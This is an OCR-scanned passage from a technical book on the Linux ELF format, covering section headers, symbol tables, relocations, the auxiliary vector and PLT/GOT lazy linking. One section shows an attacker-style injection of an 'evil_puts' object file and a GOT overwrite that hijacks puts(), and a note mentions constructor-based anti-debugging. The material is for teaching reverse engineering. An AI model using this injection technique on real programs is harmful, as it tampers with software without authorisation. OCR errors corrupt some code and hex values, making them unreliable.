initialization and finalization code that is to be executed before and after the actual main()
body of program code.

Note

The _ constructor__ function attribute is sometimes used by hackers and virus writers to
implement a function that performs an anti-debugging trick such as calling
PTRACE_TRACEME so that the process traces itself and no debuggers can attach to it. This
way the anti-debugging code gets executed before the program enters into main().

There are many other section names and types, but we have covered most of the primary
ones found in a dynamically linked executable. One can now visualize how an executable
is laid out with both phdrs and shdrs.

The text segments will be as follows:

.text]: This is the program code

.rodata]: This is read-only data

.hash]: This is the symbol hash table

.dynsym 71: This is the shared object symbol data
.dynstr ]: This is the shared object symbol name
.plt]: This is the procedure linkage table
.rel.got]: This is the G.O.T relocation data
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The data segments will be as follows:

[.data]: These are the globally initialized variables

[.dynamic]: These are the dynamic linking structures and objects
[.got.plt]: This is the global offset table

[.bss]: These are the globally uninitialized variables

Let’s take a look at an ET_REL file (object file) section header with the readelf -S
command:

ryan@alchemy:~$ gcc -c test.c
ryan@alchemy:~$ readelf -S test.o

The following are 12 section headers, starting at offset 0 x 124:

[Nr] Name Type Addr off
Size ES Flg Lk Inf Al

[ 0] NULL 000000060 0000006
(eJo]oJo]o]0] 00 (0] (0] 0]

[ 1] .text PROGBITS 000000060 000034
000034 00 AX (0] 0] 4

[ 2] .rel.text REL 000000060 0003d0
000010 08 10 1 4

[ 3] .data PROGBITS 0000000 OLOLO68
(eJo]oJo]o]0] 00 WA (0] (0] 4

[ 4] .bss NOBITS 00000000 000068



000000 00 WA 0 0] 4

[ 5] .comment PROGBITS 00000000 000068
00002b 01 MS O 0 1

[ 6] .note.GNU-stack PROGBITS 00000000 000093
000000 00 0 0 1

[ 7] .eh_frame PROGBITS 00000000 000094
000038 00 A 0 0 4

[ 8] .rel.eh_frame REL 00000000 0003e0
000008 08 10 7 4

[ 9] .shstrtab STRTAB 00000000 0000cc
000057 00 0 0 1

[10] .symtab SYMTAB 00000000 000304
0000b0 10 11 8 4

[11] .strtab STRTAB 00000000 0003b4
00001a 00 0 0 1

No program headers exist in relocatable objects (ELF files of type ET_REL) because .o
files are meant to be linked into an executable, but not meant to be loaded directly into
memory; therefore, readelf -1 will yield no results on test.o. Linux loadable kernel
modules are actually ET_REL objects and are an exception to the rule because they do get
loaded directly into kernel memory and relocated on the fly.

We can see that many of the sections we talked about are present, but there are also some
that are not. If we compile test.o into an executable, we will see that many new sections
have been added, including .got.plt, .plt, .dynsym, and other sections that are related to
dynamic linking and runtime relocations:

ryan@alchemy:~$ gcc evil.o -0 evil
ryan@alchemy:~$ readelf -S evil

The following are 30 section headers, starting at offset 0 x 1140:

[Nr] Name Type Addr off
Size ES Flg Lk Inf Al

[ 0] NULL 00000000 000000
000000 00 0 0 0

[ 1] .interp PROGBITS 08048154 000154
000013 00 A 0 0 1

[ 2] .note.ABI-tag NOTE 08048168 000168
000020 00 A 0 0 4

[ 3] .note.gnu.build-i NOTE 08048188 000188
000024 00 A 0 0 4

[ 4] .gnu.hash GNU_HASH 080481ac 0001ac
000020 04 A 5 (0] 4

[ 5] .dynsym DYNSYM 080481cc 0001cc
000060 10 A 6 1 4

[ 6] .dynstr STRTAB 0804822c 00022C
000052 00 A (0] (0] 1

[ 7] .gnu.version VERSYM 0804827e 00027e
00000C 02 A 5 (0] 2

[ 8] .gnu.version_r VERNEED 0804828c 00028c
000020 00 A 6 1 4

[ 9] .rel.dyn REL 080482ac 0002ac
000008 08 A 5 0 4

[10] .rel.plt REL 080482b4 0002b4



000020 08 A 5 12 4

[11] .init PROGBITS 080482d4 0002d4
00002e 00 AX 0 0 4

[12] .plt PROGBITS 08048310 000310
000050 04 AX 0 0 16

[13] .text PROGBITS 08048360 000360
00019c 00 AX 0 ©0 16

[14] .fini PROGBITS 080484fc 0004fc
00001a 00 AX 0 0 4

[15] .rodata PROGBITS 08048518 000518
000008 00 A 0 0 4

[16] .eh_frame_hdr PROGBITS 08048520 000520
000034 00 A 0 0 4

[17] .eh_frame PROGBITS 08048554 000554
0000c4 00 A 0 0 4

[18] .ctors PROGBITS 0804914 000f14
000008 00 WA 0 0 4

[19] .dtors PROGBITS 08049f1c 000f1c
000008 00 WA 0 0 4

[20] .jecr PROGBITS 0804924 000724
000004 00 WA 0 0 4

[21] .dynamic DYNAMIC 08049128 00028
0000c8 08 WA 6 0 4

[22] .got PROGBITS 08049ff0 000ff0O
000004 04 WA 0 0 4

[23] .got.plt PROGBITS 08049ff4 000ff4
00001c 04 WA 0 0 4

[24] .data PROGBITS 0804a010 001010
000008 00 WA O © 4

[25] .bss NOBITS 0804a018 001018
000008 00 WA O © 4

[26] .comment PROGBITS 00000000 001018
00002a 01 MS O 0 1

[27] .shstrtab STRTAB 00000000 001042
0000fc 00 0 0 1

[28] .symtab SYMTAB 00000000 0015f0
000420 10 29 45 4

[29] .strtab STRTAB 00000000 001a10
00020d 00 0 0

As observed, a number of sections have been added, most notably the ones related to
dynamic linking and constructors. I strongly suggest that the reader follows the exercise of
deducing which sections have been changed or added and what purpose the added sections
serve. Consult the ELF(5) man pages or the ELF specifications.






ELF symbols

Symbols are a symbolic reference to some type of data or code such as a global variable or
function. For instance, the printf() function is going to have a symbol entry that points
to it in the dynamic symbol table .dynsym. In most shared libraries and dynamically linked
executables, there exist two symbol tables. In the readelf -S output shown previously,
you can see two sections: .dynsym and .symtab.

The .dynsym contains global symbols that reference symbols from an external source,
such as 1ibc functions like printf, whereas the symbols contained in .symtab will
contain all of the symbols in .dynsym, as well as the local symbols for the executable, such
as global variables, or local functions that you have defined in your code. So .symtab
contains all of the symbols, whereas .dynsym contains just the dynamic/global symbols.

So the question is: Why have two symbol tables if .symtab already contains everything
that’s in .dynsym? If you check out the readelf -S output of an executable, you will see
that some sections are marked A (ALLOC) or WA (WRITE/ALLOC) or AX
(ALLOC/EXEQC). If you look at .dynsym, you will see that it is marked ALLOC, whereas
.symtab has no flags.

ALLOC means that the section will be allocated at runtime and loaded into memory, and
.symtab is not loaded into memory because it is not necessary for runtime. The .dynsym
contains symbols that can only be resolved at runtime, and therefore they are the only
symbols needed at runtime by the dynamic linker. So, while the .dynsym symbol table is
necessary for the execution of dynamically linked executables, the . symtab symbol table
exists only for debugging and linking purposes and is often stripped (removed) from
production binaries to save space.

Let’s take a look at what an ELF symbol entry looks like for 64-bit ELF files:

typedef struct {

uint32_t st_name;
unsigned char st_info;
unsigned char st_other;

uinti6_t st_shndx;
E1f64_Addr st_value;
uinte4_t st_size;

} E1f64_Sym;

Symbol entries are contained within the .symtab and .dynsym sections, which is why the
sh_entsize (section header entry size) for those sections are equivalent to
sizeof (ELfN_Sym).



st_name

The st_name contains an offset into the symbol table’s string table (located in either
.dynstr or .strtab), where the name of the symbol is located, such as printf.



st_value

The st_value holds the value of the symbol (either an address or offset of its location).



st_size

The st_size contains the size of the symbol, such as the size of a global function ptr,
which would be 4 bytes on a 32-bit system.



st_other

This member defines the symbol visibility.



st_shndx

Every symbol table entry is defined in relation to some section. This member holds the
relevant section header table index.



st_info

The st_info specifies the symbol type and binding attributes. For a complete list of these
types and attributes, consult the ELF(5) man page. The symbol types start with STT
whereas the symbol bindings start with STB. As an example, a few common ones are as
explained in the next sections.

Symbol types
We’ve got the following symbol types:

e STT_NOTYPE: The symbols type is undefined
e STT_FUNC: The symbol is associated with a function or other executable code
e STT_OBJECT: The symbol is associated with a data object

Symbol bindings
We’ve got the following symbol bindings:

e STB_LOCAL: Local symbols are not visible outside the object file containing their
definition, such as a function declared static.

e STB_GLOBAL: Global symbols are visible to all object files being combined. One file’s
definition of a global symbol will satisfy another file’s undefined reference to the
same symbol.

e STB_WEAK: Similar to global binding, but with less precedence, meaning that the
binding is weak and may be overridden by another symbol (with the same name) that
is not marked as STB_WEAK.

There are macros for packing and unpacking the binding and type fields:

® ELF32_ST_BIND(info) or ELF64_ST_BIND(info) extract a binding from an st_info
value

® ELF32_ST_TYPE(info) or ELF64_ST_TYPE(info) extract a type from an st_info
value

® ELF32_ST_INFO(bind, type) or ELF64_ST_INFO(bind, type) convert a binding and
a type into an st_info value

Let’s look at the symbol table for the following source code:

static inline void foochu()
{ /* Do nothing */ }

void funci()
{ /* Do nothing */ }

_start()

{
funcl();

foochu();
}

The following is the command to see the symbol table entries for functions foochu and



funci:

ryan@alchemy:~$ readelf -s test | egrep 'foochu]|funcl'
7: 080480d8 5 FUNC LOCAL DEFAULT 2 foochu
8: 080480dd 5 FUNC GLOBAL DEFAULT 2 func1i

We can see that the foochu function is a value of 0x80480da, and is a function (STT_FUNC)
that has a local symbol binding (STB_LOCAL). If you recall, we talked a little bit about
LOCAL bindings, which mean that the symbol cannot be seen outside the object file it is
defined it, which is why foochu is local, since we declared it with the static keyword in
our source code.

Symbols make life easier for everyone; they are a part of ELF objects for the purpose of
linking, relocation, readable disassembly, and debugging. This brings me to the topic of a
useful tool that I coded in 2013, named ftrace. Similar to, and in the same spirit of
ltrace and strace, ftrace will trace all of the function calls made within the binary and
can also show other branch instructions such as jumps. I originally designed ftrace to
help in reversing binaries for which I didn’t have the source code while at work. The
ftrace is considered to be a dynamic analysis tool. Let’s take a look at some of its
capabilities. We compile a binary with the following source code:

#include <stdio.h>

int funcl(int a, int b, int c)

{
printf("%d %d %d\n", a, b ,c);

}

int main(void)

{
funci(1, 2, 3);

}

Now, assuming that we don’t have the preceding source code and we want to know the
inner workings of the binary that it compiles into, we can run ftrace on it. First let’s look
at the synopsis:

ftrace [-p <pid>] [-Sstve] <prog>
The usage is as follows:

[-p]: This traces by PID

[-t]: This is for the type detection of function args

[-s]: This prints string values

[-v]: This gives a verbose output

[-e]: This gives miscellaneous ELF information (symbols, dependencies)
[-S]: This shows function calls with stripped symbols

[-C]: This completes the control flow analysis

Let’s give it a try:

ryan@alchemy:~$ ftrace -s test
[+] Function tracing begins here:



PLT_call@0x400420:__libc_start_main()

LOCAL_call@0x4003e0:_init()

(RETURN VALUE) LOCAL_call@0x4003e0: _init() = 0
LOCAL_call@ox40052c:funcl(0x1,0x2,0x3) // notice values passed
PLT_call@0x400410:printf("%d %d %d\n") // notice we see string value
123

(RETURN VALUE) PLT_call@0x400410: printf("%d %d %d\n'")
(RETURN VALUE) LOCAL_call@0x40052c: funcl(0x1,0x2,0x3)
LOCAL_call@ox400470:deregister_tm_clones()

(RETURN VALUE) LOCAL_call@0x400470: deregister_tm_clones() = 7

6
6

A clever individual might now be asking: What happens if a binary’s symbol table has
been stripped? That’s right; you can strip a binary of its symbol table; however, a
dynamically linked executable will always retain .dynsym but will discard . symtab if it is
stripped, so only the imported library symbols will show up.

If a binary is compiled statically (gcc-static) or without 1ibc linking (gcc-nostdlib),
and it is then stripped with the strip command, a binary will have no symbol table at all
since the dynamic symbol table is no longer imperative. The ftrace behaves differently
with the -s flag that tells ftrace to show every function call even if there is no symbol
attached to it. When using the -s flag, ftrace will display function names as
SUB_<address_of_function>, similar to how IDA pro will show functions that have no
symbol table reference.

Let’s look at the following very simple source code:

int foo(void) {

}

_start()

{
foo();
__asm__("leave");

}

The preceding source code simply calls the foo() function and exits. The reason we are
using _start() instead of main() is because we compile it with the following:

gcc -nostdlib test2.c -0 test2

The gcc flag -nostdlib directs the linker to omit standard 1libc linking conventions and
to simply compile the code that we have and nothing more. The default entry point is a
symbol called _start():

ryan@alchemy:~$ ftrace ./test2

[+] Function tracing begins here:

LOCAL_call@ox400144:foo()

(RETURN VALUE) LOCAL_call@0x400144: foo() = 0

Now let's strip the symbol table and run ftrace on it again:
ryan@alchemy:~$ strip test2

ryan@alchemy:~$ ftrace -S test2

[+] Function tracing begins here:
LOCAL_call@0x400144:sub_400144()

(RETURN VALUE) LOCAL_call@0x400144: sub_400144() = O



We now notice that foo() function has been replaced by sub_400144( ), which shows that
the function call is happening at address 6x400144. Now if we look at the binary test2
before we stripped the symbols, we can see that ©x400144 is indeed where foo() is
located:

ryan@alchemy:~$ objdump -d test2
test2: file format elf64-x86-64
Disassembly of section .text:
0000000000400144<fo0>:

400144: 55 push  %rbp
400145: 48 89 e5 mov %rsp,%rbp
400148: 5d pop %rbp
400149: c3 retq
000000000040014a <_start>:
40014a: 55 push  %rbp
40014b: 48 89 eb mov %rsp,%rbp
40014e: eg8 f1 ff ff ff callg 400144 <foo>
400153: c9 leaveq
400154: 5d pop %rbp
400155: c3 retq

In fact, to give you a really good idea of how helpful symbols can be to reverse engineers
(when we have them), let’s take a look at the test2 binary, this time without symbols to
demonstrate how it becomes slightly less obvious to read. This is primarily because
branch instructions no longer have a symbol name attached to them, so analyzing the
control flow becomes more tedious and requires more annotation, which some
disassemblers like IDA-pro allow us to do as we go:

$ objdump -d test2

test2: file format elf64-x86-64
Disassembly of section .text:
0000000000400144 <.text>:

400144: 55 push  %rbp
400145: 48 89 e5 mov %rsp,%rbp
400148: 5d pop %rbp
400149: c3 retq

40014a: 55 push  %rbp
40014b: 48 89 e5 mov %rsp,%rbp
40014e: e8 f1 ff ff ff callg 0x400144
400153: c9 leaveq

400154: 5d pop %rbp
400155: c3 retq

The only thing to give us an idea where a new function starts is by examining the
procedure prologue, which is at the beginning of every function, unless (gcc -fomit-
frame-pointer) has been used, in which case it becomes less obvious to identify.

This book assumes that the reader already has some knowledge of assembly language,
since teaching x86 asm is not the goal of this book, but notice the preceding emboldened
procedure prologue, which helps denote the start of each function. The procedure prologue
just sets up the stack frame for each new function that has been called by backing up the
base pointer on the stack and setting its value to the stack pointers before the stack pointer



is adjusted to make room for local variables. This way variables can be referenced as
positive offsets from a fixed address stored in the base pointer register ebp/rbp.

Now that we’ve gotten a grasp on symbols, the next step is to understand relocations. We
will see in the next section how symbols, relocations, and sections are all closely tied
together and live at the same level of abstraction within the ELF format.






ELF relocations

From the ELF(5) man pages:

Relocation is the process of connecting symbolic references with symbolic definitions.
Relocatable files must have information that describes how to modify their section
contents, thus allowing executable and shared object files to hold the right
information for a process’s program image. Relocation entries are these data.

The process of relocation relies on symbols and sections, which is why we covered
symbols and sections first. In relocations, there are relocation records, which essentially
contain information about how to patch the code related to a given symbol. Relocations
are literally a mechanism for binary patching and even hot-patching in memory when the
dynamic linker is involved. The linker program: /bin/1d that is used to create executable
files, and shared libraries must have some type of metadata that describes how to patch
certain instructions. This metadata is stored as what we call relocation records. I will
further explain relocations by using an example.

Imagine having two object files linked together to create an executable. We have obj1.o0
that contains the code to call a function named foo() that is located in obj2.0. Both
objl.0 and obj2.o are analyzed by the linker program and contain relocation records so
that they may be linked to create a fully working executable program. Symbolic references
will be resolved into symbolic definitions, but what does that even mean? Object files are
relocatable code, which means that it is code that is meant to be relocated to a location at a
given address within an executable segment. Before the relocation process happens, the
code has symbols and code that will not properly function or cannot be properly
referenced without first knowing their location in memory. These must be patched after
the position of the instruction or symbol within the executable segment is known by the
linker.

Let’s take a quick look at a 64-bit relocation entry:

typedef struct {
E1f64_Addr r_offset;
uinte4_t r_info;

} E1f64_Rel;

And some relocation entries require an addend:

typedef struct {
E1f64_Addr r_offset;
uinte4_t r_info;
int64_t r_addend;
} E1f64_Rela;

The r_offset points to the location that requires the relocation action. A relocation action
describes the details of how to patch the code or data contained at r_offset.

The r_info gives both the symbol table index with respect to which the relocation must be
made and the type of relocation to apply.



The r_addend specifies a constant addend used to compute the value stored in the
relocatable field.

The relocation records for 32-bit ELF files are the same as for 64-bit, but use 32-bit
integers. The following example for are object file code will be compiled as 32-bit so that
we can demonstrate implicit addends, which are not as commonly used in 64-bit. An
implicit addend occurs when the relocation records are stored in EIfN_Rel type structures
that don’t contain an r_addend field and therefore the addend is stored in the relocation
target itself. The 64-bit executables tend to use the E1fN_Rela structs that contain an
explicit addend. I think it is worth understanding both scenarios, but implicit addends are
a little more confusing, so it makes sense to bring light to this area.

Let’s take a look at the source code:

_start()
{

}

We see that it calls the foo() function. However, the foo() function is not located directly
within that source code file; so, upon compiling, there will be a relocation entry created
that is necessary for later satisfying the symbolic reference:

foo();

$ objdump -d objil.o

objl.o0: file format elf32-1386
Disassembly of section .text:
00000000 <func>:

0: 55 push %ebp

1: 89 e5 mov %esp, %ebp
3: 83 ec 08 sub $0x8, %esp
6: e8 fc ff ff ff call 7 <func+0x7>
b: c9 leave

C: c3 ret

As we can see, the call to foo() is highlighted and it contains the value exfffffffc,
which is the implicit addend. Also notice the call 7. The number 7 is the offset of the
relocation target to be patched. So when obj1.0 (which calls foo() located in obj2.0) is
linked with obj2.0 to make an executable, a relocation entry that points at offset 7 is
processed by the linker, telling it which location (offset 7) needs to be modified. The
linker then patches the 4 bytes at offset 7 so that it will contain the real offset to the foo()
function, after foo() has been positioned somewhere within the executable.

Note

The call instruction e8 fc ff ff ff contains the implicit addend and is important to
remember for this lesson; the value oxfffffffcis -(4) or -(sizeof(uint32_t)). A
dword is 4 bytes on a 32-bit system, which is the size of this relocation target.

$ readelf -r objl.o0

Relocation section '.rel.text' at offset 0x394 contains 1 entries:
Offset Info Type Sym.Value Sym. Name



00000007 0000902 R_386_PC32 000000600 foo

As we can see, a relocation field at offset 7 is specified by the relocation entry’s r_offset
field.

e R _386_PC32 is the relocation type. To understand all of these types, read the ELF
specs. Each relocation type requires a different computation on the relocation target
being modified. R_386_Pc32 modifies the target withs + A - P.

e s is the value of the symbol whose index resides in the relocation entry.

e Ais the addend found in the relocation entry.

e P is the place (section offset or address) of the storage unit being relocated (computed
using r_offset).

Let’s look at the final output of our executable after compiling obj1.0 and obj2.0 on a
32-bit system:

$ gcc -nostdlib objl.0 obj2.0 -0 relocated
$ objdump -d relocated

test: file format elf32-i386

Disassembly of section .text:

080480d8 <func>:

80480d8: 55 push %ebp
80480d9: 89 e5 mov %esp, %ebp
80480db: 83 ec 08 sub $0x8, %esp
80480de: e8 05 00 00 00 call 80480e8 <foo>
80480e3: c9 leave

80480e4: c3 ret

80480e5: 90 nop

80480e6: 90 nop

80480e7: 90 nop
080480e8 <foo0>:

80480e8: 55 push  %ebp
80480e9: 89 e5 mov %esp, %ebp
80480eb: 5d pop %ebp
80480ec: c3 ret

We can see that the call instruction (the relocation target) at 0x80480de has been
modified with the 32-bit offset value of 5, which points foo(). The value 5 is the result of
the R386_PC_32 relocation action:

S + A - P: 0x80480e8 + Oxfffffffc - 0x80480df = 5

The oxfffffffc is the same as -4 if a signed integer, so the calculation can also be seen
as:

0x80480e8 + (0Ox80480df + sizeof(uint32_t))
To calculate an offset into a virtual address, use the following computation:

address_of_call + offset + 5 (Where 5 is the length of the call



instruction)

Which in this case is x80480de + 5 + 5 = Ox80480e8.

Note

Pay attention to this computation as it is important to remember and can be used when
calculating offsets to addresses frequently.

An address may also be computed into an offset with the following computation:

address - address_of_call - 4 (Where 4 is the length of the immediate
operand to the call instruction, which is 32bits).

As mentioned previously, the ELF specs cover ELF relocations in depth, and we will be
visiting some of the types used in dynamic linking in the next section, such as
R386_JMP_SLOT relocation entries.



Relocatable code injection-based binary patching

Relocatable code injection is a technique that hackers, virus writers, or anyone who wants
to modify the code in a binary may utilize as a way to relink a binary after it’s already
been compiled and linked into an executable. That is, you can inject an object file into an
executable, update the executable’s symbol table to reflect newly inserted functionality,
and perform the necessary relocations on the injected object code so that it becomes a part
of the executable.

A complicated virus might use this technique rather than just appending position-
independent code. This technique requires making room in the target executable to inject
the code, followed by applying the relocations. We will cover binary infection and code
injection more thoroughly in Chapter 4, ELF Virus Technology — Linux/Unix Viruses.

As mentioned in Chapter 1, The Linux Environment and Its Tools, there is an amazing tool
called Eresi (http://www.eresi-project.org), which is capable of relocatable code injection
(aka ET_REL injection). I also designed a custom reverse engineering tool for ELF, namely,
Quenya. It is very old but can be found at
http://www.bitlackeys.org/projects/quenya_32bit.tgz. Quenya has many features and
capabilities, and one of them is to inject object code into an executable. This can be very
useful for patching a binary by hijacking a given function. Quenya is only a prototype and
was never developed to the extent that the Eresi project was. I am only using it as an
example because I am more familiar with it; however, I will say that for more reliable
results, it may be desirable to either use Eresi or write your own tooling.

Let us pretend we are an attacker and we want to infect a 32-bit program that calls puts()
to print Hello World. Our goal is to hijack puts() so that it calls evil puts():

#include <sys/syscall.h>
int _write (int fd, void *buf, int count)

{

long ret;

_asm__ _ volatile__ ("pushl %%ebx\n\t"
"movl %%esi,%%ebx\n\t"
"int $0x80\n\t""popl %%ebx":"=a" (ret)

:"0" (Sys_write), "S" ((long) fd),

"¢" ((long) buf), "d" ((long) count));

if (ret >= 0) {

return (int) ret;
¥

return -1;

}

int evil_puts(void)

{
}

Now we compile evil puts.c into evil puts.o and inject it into our program called
./hello_world:

_write(1, "HAHA puts() has been hijacked!\n", 31);


http://www.eresi-project.org
http://www.bitlackeys.org/projects/quenya_32bit.tgz

$ ./hello _world
Hello World

This program calls the following:

puts("Hello World\n");

We now use Quenya to inject and relocate our evil puts.o file into hello_world:

[Quenya vO.1@alchemy] reloc evil_puts.o hello_world
0x08048624 addr: 0x8048612

0x080485c4 _write addr: 0x804861e

0x080485c4 addr: 0x804868f

0x080485c4 addr: 0x80486b7

Injection/Relocation succeeded

As we can see, the write() function from our evil puts.o object file has been relocated
and assigned an address at ©x804861e in the executable file hello_world. The next
command hijack overwrites the global offset table entry for puts() with the address of
evil_puts():

[Quenya vO.1@alchemy] hijack binary hello_world evil_puts puts
Attempting to hijack function: puts

Modifying GOT entry for puts

Successfully hijacked function: puts

Committing changes into executable file

[Quenya v0.1@alchemy] quit

And Whammi!

ryan@alchemy:~/quenya$ ./hello_world
HAHA puts() has been hijacked!

We have successfully relocated an object file into an executable and modified the
executable’s control flow so that it executes the code that we injected. If we use readelf
-s on hello_world, we can actually now see a symbol for evil puts().

For your interest, I have included a small snippet of code that contains the ELF relocation
mechanics in Quenya; it may be a little bit obscure without seeing the rest of the code
base, but it is also somewhat straightforward if you have retained what we learned about
relocations:

switch(obj.shdr[i].sh_type)

{

case SHT _REL: /* Section contains E1fN_Rel records */

rel = (E1f32_Rel *)(obj.mem + obj.shdr[i].sh_offset);

for (j = 0; j < obj.shdr[i].sh_size / sizeof(EL1f32_Rel); j++, rel++)
{

/* symbol table */

symtab = (E1f32_Sym *)obj.section[obj.shdr[i].sh_link];

/* symbol we are applying relocation to */
symbol = &symtab[ELF32_R_SYM(rel->r_info)];

/* section to modify */
TargetSection = &obj.shdr[obj.shdr[i].sh_info];



TargetIndex = obj.shdr[i].sh_info;

/* target location */
TargetAddr = TargetSection->sh_addr + rel->r_offset;

/* pointer to relocation target */
RelocPtr = (E1f32_Addr *)(obj.section[TargetIndex] + rel->r_offset);

/* relocation value */
Relval = symbol->st_value;
Relval += obj.shdr[symbol->st_shndx].sh_addr;

printf("0x%08x %s addr: 0x%x\n",RelVal, &SymStringTable[symbol->st_name],
TargetAddr);

switch (ELF32_R_TYPE(rel->r_info))

{
/* R_386_PC32 2 word32 S + A - P */

case R_386_PC32:
*RelocPtr += Relval;
*RelocPtr -= TargetAddr;
break;

/* R_386_32 1 word32 S + A */
case R_386_32:
*RelocPtr += Relval;

break;

¥
}

As shown in the preceding code, the relocation target that RelocPtr points to is modified
according to the relocation action requested by the relocation type (such as R_386_32).

Although relocatable code binary injection is a good example of the idea behind
relocations, it is not a perfect example of how a linker actually performs it with multiple
object files. Nevertheless, it still retains the general idea and application of a relocation
action. Later on we will talk about shared library (ET_DYN) injection, which brings us now
to the topic of dynamic linking.






ELF dynamic linking

In the old days, everything was statically linked. If a program used external library
functions, the entire library was compiled directly into the executable. ELF supports
dynamic linking, which is a much more efficient way to go about handling shared
libraries.

When a program is loaded into memory, the dynamic linker also loads and binds the
shared libraries that are needed to that process address space. The topic of dynamic linking
is rarely understood by people in any depth as it is a relatively complex procedure and
seems to work like magic under the hood. In this section, we will demystify some of its
complexities and reveal how it works and also how it can be abused by attackers.

Shared libraries are compiled as position-independent and can therefore be easily
relocated into a process address space. A shared library is a dynamic ELF object. If you
look at readelf -h lib.so, you will see that the e_type (ELF file type) is called ET_DYN.
Dynamic objects are very similar to executables. They do not typically have a PT_INTERP
segment since they are loaded by the program interpreter, and therefore will not be
invoking a program interpreter.

When a shared library is loaded into a process address space, it must have any relocations
satisfied that reference other shared libraries. The dynamic linker must modify the GOT
(Global offset table) of the executable (located in the section .got.plt), which is a table
of addresses located in the data segment. It is in the data segment because it must be
writeable (at least initially; see read-only relocations as a security feature). The dynamic
linker patches the GOT with resolved shared library addresses. We will explain the
process of lazy linking shortly.



The auxiliary vector

When a program gets loaded into memory by the sys_execve() syscall, the executable is
mapped in and given a stack (among other things). The stack for that process address
space is set up in a very specific way to pass information to the dynamic linker. This
particular setup and arrangement of information is known as the auxiliary vector or auxv.
The bottom of the stack (which is its highest memory address since the stack grows down
on x86 architecture) is loaded with the following information:

Auxiliary vector

environ

argv

Stack

v

[argc][argv][envp][auxiliary][.ascii data for argv/envp]
The auxiliary vector (or auxv) is a series of EIfN_auxv_t structs.

typedef struct

{
uint64_t a_type; /* Entry type */
union
{
uint64_t a_val; /* Integer value */
} a_un;

} E1f64_auxv_t;

The a_type describes the auxv entry type, and the a_val provides its value. The following
are some of the most important entry types that are needed by the dynamic linker:

#define AT_EXECFD 2 /* File descriptor of program */
#define AT_PHDR 3 /* Program headers for program */
#define AT_PHENT 4 /* Size of program header entry */
#define AT_PHNUM 5 /* Number of program headers */
#define AT_PAGESZ 6 /* System page size */

#define AT_ENTRY 9 /* Entry point of program */
#define AT_UID 11 /* Real uid */

The dynamic linker retrieves information from the stack about the executing program. The
linker must know where the program headers are, the entry point of the program, and so
on. I listed only a few of the auxv entry types previously, taken from
/usr/include/elf.h.



The auxiliary vector gets set up by a kernel function called create_elf tables() that
resides in the Linux source code /usr/src/linux/fs/binfmt_elf.c.

In fact, the execution process from the kernel looks something like the following:

sys_execve() —.

Calls do_execve_common() —.

Calls search_binary_handler() —.
Calls load_elf_binary() —.

Calls create_elf_tables() —.

AREIE o e

The following is some of the code from create_elf_tables() in
/usr/src/linux/fs/binfmt_elf.c that adds auxv entries:

NEW_AUX_ENT(AT_PAGESZ, ELF_EXEC_PAGESIZE);
NEW_AUX_ENT(AT_PHDR, load_addr + exec->e_phoff);
NEW_AUX_ENT(AT_PHENT, sizeof(struct elf_phdr));
NEW_AUX_ENT(AT_PHNUM, exec->e_phnum);
NEW_AUX_ENT(AT_BASE, interp_load_addr);
NEW_AUX_ENT(AT_ENTRY, exec->e_entry);

As you can see, the ELF entry point and the address of the program headers, among other
values, are placed onto the stack with the NEw_AUX_ENT() macro in the kernel.

Once a program is loaded into memory and the auxiliary vector has been filled in, control
is passed to the dynamic linker. The dynamic linker resolves symbols and relocations for
shared libraries that are linked into the process address space. By default, an executable is
dynamically linked with the GNU C library libc.so. The 1dd command will show you
the shared library dependencies of a given executable.



Learning about the PLT/GOT

The PLT (procedure linkage table) and GOT (Global offset table) can be found in
executable files and shared libraries. We will be focusing specifically on the PLT/GOT of
an executable program. When a program calls a shared library function such as strcpy/()
or printf(), which are not resolved until runtime, there must exist a mechanism to
dynamically link the shared libraries and resolve the addresses to the shared functions.
When a dynamically linked program is compiled, it handles shared library function calls
in a specific way, far differently from a simple call instruction to a local function.

Let’s take a look at a call to the libc.so function fgets() in a 32-bit compiled ELF
executable. We will use a 32-bit executable in our examples because the relationship with
the GOT is easier to visualize since IP relative addressing is not used, as it is in 64-bit
executables:

objdump -d test
8048481: e8 da fe ff ff call 8048360<fgets@plt>
The address 0x8048360 corresponds to the PLT entry for fgets(). Let’s take a look at that
address in our executable:
objdump -d test (grep for 8048360)

08048360<fgets@plt>: /* A jmp into the GOT */

8048360: ff 25 00 a® 04 08 jmp *Ox804a000
8048366 68 00 0O 00 00 push  $0x0
804836Db: e9 e0 ff ff ff jmp 8048350 <_init+0x34>

So the call to fgets() leads to 8048360, which is the PLT jump table entry for fgets().
As we can see, there is an indirect jump to the address stored at 6x804a000 in the
preceding disassembled code output. This address is a GOT (Global offset table) entry that
holds the address to the actual fgets() function in the libc shared library.

However, the first time a function is called, its address has not yet been resolved by the
dynamic linker, when the default behavior lazy linking is being used. Lazy linking implies
that the dynamic linker should not resolve every function at program loading time.
Instead, it will resolve the functions as they are called, which is made possible through the
.plt and .got.plt sections (which correspond to the Procedure linkage table, and the
Global offset table, respectively). This behavior can be changed to what is called strict
linking with the LD_BIND_NOw environment variable so that all dynamic linking happens
right at program loading time. Lazy linking increases performance at load time, which is
why it is the default behavior, but it also can be unpredictable since a linking error may
not occur until after the program has been running for some time. I have actually only
experienced this myself one time over the course of years. It is also worth noting that
some security features, namely, read-only relocations cannot be applied unless strict
linking is enabled because the .plt.got section (among others) is marked read-only; this



can only occur after the dynamic linker has finished patching it, and thus strict linking
must be used.

Let’s take a look at the relocation entry for fgets():

$ readelf -r test

Offset Info Type SymValue SymName...
08042000 060000107 R_386_JUMP_SLOT 000000006 fgets..
Note

R_386_JUMP_SLOT is a relocation type for PLT/GOT entries. On x86_64, it is called
R_X86_64_JUMP_SLOT.

Notice that the relocation offset is the address 0x804a000, the same address that the
fgets() PLT jumps into. Assuming that fgets() is being called for the first time, the
dynamic linker has to resolve the address of fgets() and place its value into the GOT
entry for fgets().

Let’s take a look at the GOT in our test program:

08049ff4 <_GLOBAL_OFFSET_TABLE_>:

8049ff4: 28 9f 04 08 00 00 sub %bl, 0x804 (%edi)

8049ffa: 00 00 add %al, (%eax)

8049ffc: 00 00 add %al, (%eax)

8049ffe: 00 00 add %al, (%eax)

804a000: 66 83 04 08 76 addw $0x76, (%eax, %ecx, 1)
804a005: 83 04 08 86 addl $oxfFfffff86, (%eax,%ecx, 1)
804a009: 83 04 08 96 addl $oxFfffffo6, (%eax, %ecx, 1)
804a00d: 83 .byte 0x83

804a00e: 04 08 add $0x8, %al

The address 0x08048366 is highlighted in the preceding and is found at 6x804a000 in the
GOT. Remember that little endian reverses the byte order, so it appears as 66 83 04 08.
This address is not the address to the fgets() function since it has not yet been resolved
by the linker, but instead points back down into the PLT entry for fgets(). Let’s look at
